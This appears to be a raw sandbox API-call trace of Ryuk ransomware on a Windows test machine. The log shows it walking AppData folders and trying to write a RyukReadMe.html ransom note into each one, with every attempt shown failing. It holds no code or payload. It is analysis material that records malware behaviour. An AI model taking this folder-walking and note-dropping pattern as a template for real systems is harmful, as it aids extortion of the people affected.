	[0210.521] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.521] GetLastError () returned 0x3
	[0210.521] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.521] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.521] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Explorer", cAlternateFileName="")) returned 1
	[0210.521] SetLastError (dwErrCode=0x0) 
	[0210.521] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.521] GetLastError () returned 0x3
	[0210.521] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.522] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.522] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.522] SetLastError (dwErrCode=0x0) 
	[0210.522] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.522] GetLastError () returned 0x3
	[0210.522] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.522] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1
	[0210.522] SetLastError (dwErrCode=0x0) 
	[0210.523] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.523] GetLastError () returned 0x3
	[0210.523] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.523] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.523] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.523] SetLastError (dwErrCode=0x0) 
	[0210.523] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\gameexplorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.523] GetLastError () returned 0x3
	[0210.523] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.524] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0210.524] SetLastError (dwErrCode=0x0) 
	[0210.524] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.524] GetLastError () returned 0x3
	[0210.524] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.524] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.524] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.524] SetLastError (dwErrCode=0x0) 
	[0210.524] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.524] GetLastError () returned 0x3
	[0210.524] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.525] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.525] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1
	[0210.525] SetLastError (dwErrCode=0x0) 
	[0210.525] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.525] GetLastError () returned 0x3
	[0210.525] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.525] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.525] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.525] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.525] SetLastError (dwErrCode=0x0) 
	[0210.526] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ringtones\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.526] GetLastError () returned 0x3
	[0210.526] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.526] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0210.526] SetLastError (dwErrCode=0x0) 
	[0210.526] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.526] GetLastError () returned 0x3
	[0210.526] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.527] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0210.527] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0210.527] SetLastError (dwErrCode=0x0) 
	[0210.527] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.527] GetLastError () returned 0x3
	[0210.527] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.527] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.527] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0210.527] SetLastError (dwErrCode=0x0) 
	[0210.528] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.528] GetLastError () returned 0x3
	[0210.528] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.528] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0210.529] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0210.529] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x212, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 1
	[0210.529] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x212, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 0
	[0210.529] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0210.529] SetLastError (dwErrCode=0x0) 
	[0210.529] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\themes\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.530] GetLastError () returned 0x3
	[0210.530] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0210.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.530] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c4d89a0, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c4d89a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat", cAlternateFileName="")) returned 1
	[0210.530] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c3ce000, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat.LOG1", cAlternateFileName="USRCLA~2.LOG")) returned 1
	[0210.530] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9c5705f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat.LOG2", cAlternateFileName="USRCLA~1.LOG")) returned 1
	[0210.530] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x962222ec, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf", cAlternateFileName="USRCLA~1.BLF")) returned 1
	[0210.530] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="USRCLA~2.REG")) returned 1
